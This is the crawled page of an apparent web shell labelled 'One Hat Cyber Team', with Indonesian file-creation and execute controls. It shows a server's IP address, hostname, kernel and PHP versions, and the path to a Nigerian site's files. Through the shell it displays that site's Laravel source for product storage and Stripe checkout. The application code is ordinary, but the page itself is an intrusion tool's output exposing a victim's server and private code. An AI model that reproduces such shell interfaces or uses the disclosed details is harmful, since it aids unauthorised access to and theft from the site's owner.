⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.142
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
mydetails.com.ng
/
app
/
Repositories
/
View File Name :
VcardProductRepository.php
fieldSearchable; } /** * Configure the Model **/ public function model() { return Product::class; } /** * @return mixed */ public function store($input) { try { DB::beginTransaction(); $vcardProduct = Product::create($input); if (isset($input['product_icon']) && ! empty($input['product_icon'])) { $vcardProduct->addMedia($input['product_icon'])->toMediaCollection(Product::PRODUCT_PATH, config('app.media_disc')); } DB::commit(); return $vcardProduct; } catch (Exception $e) { DB::rollBack(); throw new UnprocessableEntityHttpException($e->getMessage()); } } /** * @return \Illuminate\Database\Eloquent\Builder|\Illuminate\Database\Eloquent\Builder[]|\Illuminate\Database\Eloquent\Collection|\Illuminate\Database\Eloquent\Model */ public function update($input,$id) { try { DB::beginTransaction(); $vcardProduct = Product::findOrFail($id); $vcardProduct->update($input); if (isset($input['product_icon']) && ! empty($input['product_icon'])) { $vcardProduct->clearMediaCollection(Product::PRODUCT_PATH); $vcardProduct->addMedia($input['product_icon'])->toMediaCollection(Product::PRODUCT_PATH, config('app.media_disc')); } DB::commit(); return $vcardProduct; } catch (Exception $e) { DB::rollBack(); throw new UnprocessableEntityHttpException($e->getMessage()); } } public function productBuySession($input, $product){ try { $userId = $product->vcard->user->id; if (empty($product->currency_id)) { $product->currency_id = getUserSettingValue('currency_id', $userId); } $currencyCode = Currency::whereId($product->currency_id)->first()->currency_code; setUserStripeApiKey($userId); $successUrl = route('buy.product.success'); $cancelUrl = route('buy.product.failed'); $session = Session::create([ 'payment_method_types' => ['card'], 'customer_email' => $input['email'], 'line_items' => [ [ 'price_data' => [ 'product_data' => [ 'name' => $product->name, ], 'unit_amount' => $product->price * 100, 'currency' => $currencyCode, ], 'quantity' => 1, ], ], 'client_reference_id' => $product->id, 'mode' => 'payment', 'success_url' => url($successUrl).'?session_id={CHECKOUT_SESSION_ID}', 'cancel_url' => url($cancelUrl).'?error=payment_cancelled', ]); session()->put(['input' => $input]); $result = [ 'sessionId' => $session['id'], ]; return $result; } catch (\Exception $e) { throw new UnprocessableEntityHttpException($e->getMessage()); } } }